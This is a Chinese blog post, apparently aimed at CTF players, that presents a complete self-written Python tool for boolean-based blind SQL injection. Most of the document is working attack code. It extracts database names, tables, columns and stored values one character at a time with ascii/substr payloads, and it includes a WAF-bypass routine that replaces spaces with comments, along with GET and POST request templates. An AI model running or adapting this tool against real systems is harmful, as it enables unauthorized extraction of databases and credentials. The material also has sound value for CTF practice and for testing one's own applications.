【Python武器库】SQL注入脚本—布尔注入(第一篇)

一、前言

在做CTF 的过程中,出题人限制SQLMap 的使用,但是手工注入又过于麻烦和耗时,于是想自己手把手写一个自己的SQL注入脚本工具,不必像SQLMap 那样具备强大的功能,仅仅在CTF 或其他SQL注入场景够用即可。

常做CTF 的同学都知道,CTF 的SQL注入场景最多的是布尔注入,那么这里先制作布尔注入的脚本工具。

二、工具使用示例

1、本地测试

image-20240408173516618

image-20240408173707655

2、CTF实战示例

image-20240408175520812

image-20240408175616830

三、脚本拆分

1、先看主线程

为了让输出有重点区分,采用了颜色输出,所以main()方法看起来非常的混乱,但是运行起来非常的醒目。

在main()方法中启用了一个副线程,是为了程序在执行过程中给用户一个正在执行中的一个进度条加载的提示。

同时使用while 死循环,方便用户便利查询数据库中所有的表和字段以及数值信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
### 主程序
def main():
print(f'--------- {__file__} 开始运行 ---------------')
# (1)初始化环境和参数变量
global threading_status
print('\033[94m[*]\033[0m 注意:该脚本使用的前提是知道注入点存在的URL、页面回显属于布尔类型、过滤的方法、以及cookie相关')
print('\033[94m[*]\033[0m 注意:在使用前请\033[91m修改url 和 Response_judgment 函数\033[0m')
# 创建一个副线程对象
sub_thread = threading.Thread(target=Progress_bar)
sub_thread.start() # 启动副线程

# (2)开始查询数据库
print('\033[93m---------------------------- 数据库名查询中 ------------------------------\033[0m')
threading_status = True #开启副线程
database_names = database_name(database_length()) #这里传入数据库的长度
threading_status = False #关闭副线程
if not database_names:
print("\033[91m[-]\033[0m 查询失败,请调整\033[91mdatabase_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
print(f"\n\033[92m[+]\033[0m 当前\033[96m数据库名\033[0m为:\033[94m{database_names}\033[0m")
# (3)开始查询数据库表
print('\033[93m---------------------------- 数据库表查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
table_names = table_name(table_length()) #求表的名称,传入表的长度
threading_status = False #关闭副线程
if len(table_names) == 0:
print("\n\033[91m[-]\033[0m 查询失败,请调整\033[91mtable_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
while True: #这里做无限循环,以方便循环查询所有的表
print('\n\033[93m---------------------------- 选择查询的库表 ------------------------------\033[0m')
print(f"\033[92m[+]\033[0m {database_names}所有\033[96m表名\033[0m为:\033[94m{table_names}\033[0m")
User_table_name = input('请输入要查看的表名(exit退出):')
if User_table_name == 'exit':
break
# (4)开始查询数据库表字段
print('\033[93m---------------------------- 库表字段查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
column_names = column_name(column_length(User_table_name),User_table_name) #求字段的名字,输入字段的长度
threading_status = False #关闭副线程
if len(column_names) == 0:
print("\n\033[91m[-]\033[0m 查询失败,请调整\033[91mcolumn_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
while True: #这里做无限循环,方便查询表的所有字段值
print('\n\033[93m---------------------------- 选择查询字段名 ------------------------------\033[0m')
print(f"\033[92m[+]\033[0m {User_table_name}表所有\033[96m字段名\033[0m为:\033[94m{column_names}\033[0m")
User_column_name = input('请输入要查看的字段名(exit退出):')
if User_column_name == 'exit':
break
# (5)开始查询数据库表字段的数据值
print('\033[93m---------------------------- 字段数据查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
column_data_len = column_data_length(User_table_name,User_column_name) #求字段值的长度,传入字段的名称
column_data_names = column_data_name(column_data_len,User_table_name,User_column_name) #求字段的值
threading_status = False #关闭副线程
print('\n\033[92m---------------------------- 字段数据查询结束 ------------------------------\033[0m')
if len(column_data_names) == 0:
print("\033[91m[-]\033[0m 查询失败,请调整\033[91mcolumn_data_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
print("\033[91m[-]\033[0m 查询失败。如果增大查询力度仍不可用,则此处可能是一张空表,可更换其他表或字段查看")
kill()
print(f"\033[92m[+]\033[0m {User_column_name}字段所有\033[96m数值\033[0m为:\033[94m{column_data_names}\033[0m")

if __name__ == '__main__':
try:
main() #执行主线程
kill() #执行处理函数
except Exception:
pass

2、异常和副线程

kill() 作为异常中断的函数,是为了使程序异常之后能够安全的退出;Progress_bar() 是副线程的执行内容,是不断的执行输出进度条,方便用户查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def Progress_bar():
# 初始化参数
global threading_status
global jindu_left

while not threading_stop:
while threading_status:
progress_bar = "\033[94m[*]\033[0m 查询中:\033[92m[\033[0m{0}\033[92m]\033[0m".format(" " * jindu_left + "\033[92m*\033[0m" + " " * (50 - jindu_left))

# 清除之前的进度指示器输出
sys.stdout.write("\r" + progress_bar)

# 刷新输出,确保进度指示器立即更新
sys.stdout.flush()

jindu_left = 0 if jindu_left == 50 else jindu_left + 1

time.sleep(0.5)
def kill():
global threading_status
global threading_stop

print("\033[91m[-]\033[0m 正在退出,请等待!!!")
threading_status = False
threading_stop = True
time.sleep(2)
print("Bye!程序已退出!!!")
exit()

3、基本的数据查询

使用基础的布尔查询语句,将payload 传入Response_judgment() 中进行布尔判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
### 查询数据库表字段的数值
def column_data_name(column_data_len,User_table_name,User_column_name):
column_data_names = {}
column_one_name = ''
for i in range(0,len(column_data_len)): #i是第几个字段的值
for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符
for n in asciis: #asciis是要爆破字段值的ascii码值
payload = "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
column_one_name += n
break
print(f"\n{User_column_name}字段的第{i}个值为:{column_one_name}")
column_data_names[i] = column_one_name
column_one_name = ''
return column_data_names

### 查询数据库表字段数值的长度
def column_data_length(User_table_name,User_column_name):
column_data_len = {}
for i in range(0,data_num_max): #只查询10个数值
flag = False
for j in range(1,data_len_max): #j是要爆破字段数值的长度,猜测该字段数值最大为32(即md5值,可能需要修改)
payload = "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(payload):
column_data_len[i] = j
if i == data_num_max:
print('已超过测试数值的最大值,请调整!!!')
flag = True
break
if flag == False:
break
return column_data_len

### 查询数据库表字段的名称
def column_name(column_len,User_table_name):
column_names = {}
column_one_name = ''
for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量
for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符
for n in asciis: #n是要爆破字段名的ascii码值
payload = "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
column_one_name += n
break
print(f"\n{User_table_name}表的第{i}个字段的名称为:{column_one_name}")
column_names[i] = column_one_name
column_one_name = ''
return column_names

### 查询数据库表字段的长度
def column_length(User_table_name): #要查看的表名
column_len = {}
for i in range(0,column_num_max): #i是第几个字段,这里假设有10个字段
flag = False
for j in range(1,column_len_max): #j是要爆破字段的长度,假设字段长度最长为20
payload = "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(payload):
column_len[i] = j
if i == column_num_max:
print("\033[91m[-]\033[0m 已超过测试字段数的最大值,请调整!!!")
flag = True
break
if flag == False:
break
return column_len

### 查询数据库表的名称
def table_name(table_len):
table_names = {}
table_one_name = ''
for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表
for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度
for n in asciis: #n是要爆破表名的ascii码值
payload = "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
table_one_name += n
break
print(f"\n第{i}张表的名称为:{table_one_name}")
table_names[i] = table_one_name
table_one_name = ''
return table_names

### 查询数据库表的长度
def table_length():
table_len = {}
for i in range(0,table_num_max):
flag = False
for j in range(1,table_len_max):
payload = "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)
if Response_judgment(payload):
table_len[i] = j
flag = True
break
if flag == False:
break
return table_len

### 查询数据库的名称
def database_name(database_len):
database_names = ''
try:
for i in range(1,database_len + 1): #i是数据库的第几个字符
for j in asciis: #j是要爆破数据库名的ascii码值
payload = "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(ord(j))
if Response_judgment(payload):
database_names += j
break
except Exception as e:
print("\n\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m")
return database_names

### 查询数据库的长度
def database_length():
try:
for i in range(1,database_len_max):
payload = "%20and%20length(database())=" + str(i)
if Response_judgment(payload):
return i
except Exception as e:
print("\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m")
kill()

4、响应包的布尔判断

针对GET 和POST 不同类型的SQL注入,有不同的请求方式,同时也可以做到header 的头部注入,在相应包判断中,也就是布尔不同响应的判断。这里根据不用题目的注入点需要进行调整,可以是响应的页面长度,或者响应码等判断。

如果想查看payload 是否正确进行,可以在这个方法中调试;在请求中添加cookie 等

注意:

一个完整的SQL注入语句分为三部分:正常的url 和payload 和 最后的注释符。

在对payload 进行调整之后,需要手动在请求的时候加上最后的注释符,如 –+、#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def Response_judgment(payload):
global url
# (1)是否进行url 过滤
payload = Bypass_WAF(payload)
new_url = url + payload
# print(new_url)

# (2)发送带cookie的和注释的GET请求示例
'''
cookies = {
'level' : '1'
}
respone = requests.get(new_url+'--+', cookies=cookies)
'''
response = requests.get(new_url + '--+')

# (2)发送带cookie和data和注释的POST请求示例
'''
payload = "admin'" + payload + "/**/and/**/1=1"
#print(payload)
new_url = url
data = {
'username' : 'admin',
'password' : payload
}
response = requests.post(url = new_url, data = data)
'''

# (3)相应包判断
if "If" in response.text:
return True
else:
return False

5、Bypass_WAF

这里也就是用来绕过WAF 的方法,针对基本的注入语句进行调整,可以使用正则对payload 进行调整替换,绕过WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
### 绕过过滤
def Bypass_WAF(payload):
# or 代替 and
#payload = re.sub(r'and','or', payload)

# 大小写
#payload = re.sub(r'where','WHerE', payload)

# 空格替换
payload = re.sub(r'%20','/**/',payload)
payload = re.sub(r' ','/**/',payload)

return payload

四、脚本内容

使用注意点:

  1. 全局的url 需要改变,是SQL注入的地址(记得给注入闭合符,如:http://xxx.com/?id=1“ )
  2. 修改爆破过程中使用的推测参数(如果payload没问题,但脚本依然提示错误,可以适量增加爆破参数)
  3. 响应包判断(需要修改,不同的请求,响应包肯定是不同的,可以调试payload)
  4. 可以在Bypass_WAF方法中对基本的payload 进行替换修改,绕过WAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
import requests
import string
import threading
import sys
import time
import re

### 以下是初始环境变量
url = 'http://ebc6d8a1-5b14-49bf-876f-6ad3e86db03d.challenge.ctf.show/index.php?id=1'

### 爆破过程中使用的推测参数
database_len_max = 20 #推测数据库名称的最大长度
table_num_max = 10 #推测该数据库中最大表的数量
table_len_max = 20 #推测数据库表名称的最大长度
column_num_max = 20 #推测该数据库表中字段的最大数量
column_len_max = 20 #推测数据库表字段名称的最大长度
data_num_max = 10 #推测该数据库表字段数值中最大的数量
data_len_max = 50 #推测数据库表字段数值的最大长度(33可查md5)

### 进度条设置
jindu_left = 0
threading_status = False #副线程不执行
threading_stop = False #副线程停止参数
asciis = string.printable #string.printable表示所有可打印的ascii字符

### 请求发送,响应判断
def Response_judgment(payload):
global url
# (1)是否进行url 过滤
payload = Bypass_WAF(payload)
new_url = url + payload
#print(new_url)

# (2)发送带cookie的和注释的GET请求示例
'''
cookies = {
'level' : '1'
}
respone = requests.get(new_url+'--+', cookies=cookies)
'''
response = requests.get(new_url + '/**/and/**/1=1')

# (2)发送带cookie和data和注释的POST请求示例
'''
payload = "admin'" + payload + "/**/and/**/1=1"
#print(payload)
new_url = url
data = {
'username' : 'admin',
'password' : payload
}
response = requests.post(url = new_url, data = data)
'''

# (3)响应包判断
if "If" in response.text:
return True
else:
return False

### 绕过过滤
def Bypass_WAF(payload):
# 代替 and
#payload = re.sub(r'and','or', payload)

# 大小写
#payload = re.sub(r'where','WHerE', payload)

# 空格替换
payload = re.sub(r'%20','/**/',payload)
payload = re.sub(r' ','/**/',payload)

return payload

### 查询数据库表字段的数值
def column_data_name(column_data_len,User_table_name,User_column_name):
column_data_names = {}
column_one_name = ''
for i in range(0,len(column_data_len)): #i是第几个字段的值
for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符
for n in asciis: #asciis是要爆破字段值的ascii码值
payload = "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
column_one_name += n
break
print(f"\n{User_column_name}字段的第{i}个值为:{column_one_name}")
column_data_names[i] = column_one_name
column_one_name = ''
return column_data_names

### 查询数据库表字段数值的长度
def column_data_length(User_table_name,User_column_name):
column_data_len = {}
for i in range(0,data_num_max): #只查询10个数值
flag = False
for j in range(1,data_len_max): #j是要爆破字段数值的长度,猜测该字段数值最大为32(即md5值,可能需要修改)
payload = "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(payload):
column_data_len[i] = j
if i == data_num_max:
print('已超过测试数值的最大值,请调整!!!')
flag = True
break
if flag == False:
break
return column_data_len

### 查询数据库表字段的名称
def column_name(column_len,User_table_name):
column_names = {}
column_one_name = ''
for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量
for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符
for n in asciis: #n是要爆破字段名的ascii码值
payload = "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
column_one_name += n
break
print(f"\n{User_table_name}表的第{i}个字段的名称为:{column_one_name}")
column_names[i] = column_one_name
column_one_name = ''
return column_names

### 查询数据库表字段的长度
def column_length(User_table_name): #要查看的表名
column_len = {}
for i in range(0,column_num_max): #i是第几个字段,这里假设有10个字段
flag = False
for j in range(1,column_len_max): #j是要爆破字段的长度,假设字段长度最长为20
payload = "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)
if Response_judgment(payload):
column_len[i] = j
if i == column_num_max:
print("\033[91m[-]\033[0m 已超过测试字段数的最大值,请调整!!!")
flag = True
break
if flag == False:
break
return column_len

### 查询数据库表的名称
def table_name(table_len):
table_names = {}
table_one_name = ''
for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表
for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度
for n in asciis: #n是要爆破表名的ascii码值
payload = "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(ord(n))
if Response_judgment(payload):
table_one_name += n
break
print(f"\n第{i}张表的名称为:{table_one_name}")
table_names[i] = table_one_name
table_one_name = ''
return table_names

### 查询数据库表的长度
def table_length():
table_len = {}
for i in range(0,table_num_max):
flag = False
for j in range(1,table_len_max):
payload = "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)
if Response_judgment(payload):
table_len[i] = j
flag = True
break
if flag == False:
break
return table_len

### 查询数据库的名称
def database_name(database_len):
database_names = ''
try:
for i in range(1,database_len + 1): #i是数据库的第几个字符
for j in asciis: #j是要爆破数据库名的ascii码值
payload = "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(ord(j))
if Response_judgment(payload):
database_names += j
break
except Exception as e:
print("\n\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m")
return database_names

### 查询数据库的长度
def database_length():
try:
for i in range(1,database_len_max):
payload = "%20and%20length(database())=" + str(i)
if Response_judgment(payload):
return i
except Exception as e:
print("\033[91m[-]\033[0m 查询失败,请检查\033[91mResponse_judgment函数、URL、payload、增加爆破的数据库名长度!!!\033[0m")
kill()

def Progress_bar():
# 初始化参数
global threading_status
global jindu_left

while not threading_stop:
while threading_status:
progress_bar = "\033[94m[*]\033[0m 查询中:\033[92m[\033[0m{0}\033[92m]\033[0m".format(" " * jindu_left + "\033[92m*\033[0m" + " " * (50 - jindu_left))

# 清除之前的进度指示器输出
sys.stdout.write("\r" + progress_bar)

# 刷新输出,确保进度指示器立即更新
sys.stdout.flush()

jindu_left = 0 if jindu_left == 50 else jindu_left + 1

time.sleep(0.5)
def kill():
global threading_status
global threading_stop

print("\033[91m[-]\033[0m 正在退出,请等待!!!")
threading_status = False
threading_stop = True
time.sleep(2)
print("Bye!程序已退出!!!")
exit()

### 主程序
def main():
print(f'--------- {__file__} 开始运行 ---------------')
# (1)初始化环境和参数变量
global threading_status
print('\033[94m[*]\033[0m 注意:该脚本使用的前提是知道注入点存在的URL、页面回显属于布尔类型、过滤的方法、以及cookie相关')
print('\033[94m[*]\033[0m 注意:在使用前请\033[91m修改url 和 Response_judgment 函数\033[0m')
# 创建一个副线程对象
sub_thread = threading.Thread(target=Progress_bar)
sub_thread.start() # 启动副线程

# (2)开始查询数据库
print('\033[93m---------------------------- 数据库名查询中 ------------------------------\033[0m')
threading_status = True #开启副线程
database_names = database_name(database_length()) #这里传入数据库的长度
threading_status = False #关闭副线程
if not database_names:
print("\033[91m[-]\033[0m 查询失败,请调整\033[91mdatabase_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
print(f"\n\033[92m[+]\033[0m 当前\033[96m数据库名\033[0m为:\033[94m{database_names}\033[0m")
# (3)开始查询数据库表
print('\033[93m---------------------------- 数据库表查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
table_names = table_name(table_length()) #求表的名称,传入表的长度
threading_status = False #关闭副线程
if len(table_names) == 0:
print("\n\033[91m[-]\033[0m 查询失败,请调整\033[91mtable_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
while True: #这里做无限循环,以方便循环查询所有的表
print('\n\033[93m---------------------------- 选择查询的库表 ------------------------------\033[0m')
print(f"\033[92m[+]\033[0m {database_names}所有\033[96m表名\033[0m为:\033[94m{table_names}\033[0m")
User_table_name = input('请输入要查看的表名(exit退出):')
if User_table_name == 'exit':
break
# (4)开始查询数据库表字段
print('\033[93m---------------------------- 库表字段查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
column_names = column_name(column_length(User_table_name),User_table_name) #求字段的名字,输入字段的长度
threading_status = False #关闭副线程
if len(column_names) == 0:
print("\n\033[91m[-]\033[0m 查询失败,请调整\033[91mcolumn_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
kill()
while True: #这里做无限循环,方便查询表的所有字段值
print('\n\033[93m---------------------------- 选择查询字段名 ------------------------------\033[0m')
print(f"\033[92m[+]\033[0m {User_table_name}表所有\033[96m字段名\033[0m为:\033[94m{column_names}\033[0m")
User_column_name = input('请输入要查看的字段名(exit退出):')
if User_column_name == 'exit':
break
# (5)开始查询数据库表字段的数据值
print('\033[93m---------------------------- 字段数据查询中 ------------------------------\033[0m')
threading_status = True # 启动副线程
column_data_len = column_data_length(User_table_name,User_column_name) #求字段值的长度,传入字段的名称
column_data_names = column_data_name(column_data_len,User_table_name,User_column_name) #求字段的值
threading_status = False #关闭副线程
print('\n\033[92m---------------------------- 字段数据查询结束 ------------------------------\033[0m')
if len(column_data_names) == 0:
print("\033[91m[-]\033[0m 查询失败,请调整\033[91mcolumn_data_length函数中对数值爆破的长度值,或检查使用的payload\033[0m")
print("\033[91m[-]\033[0m 查询失败。如果增大查询力度仍不可用,则此处可能是一张空表,可更换其他表或字段查看")
kill()
print(f"\033[92m[+]\033[0m {User_column_name}字段所有\033[96m数值\033[0m为:\033[94m{column_data_names}\033[0m")

if __name__ == '__main__':
try:
main() #执行主线程
kill() #执行处理函数
except Exception:
pass

五、结语

此为小菜的自制脚本,大佬勿喷,如有不妥之处还请联系指正学习。

此脚本仅供学习参考使用,未在授权情况下对其他计算机造成的损失均由使用人承担。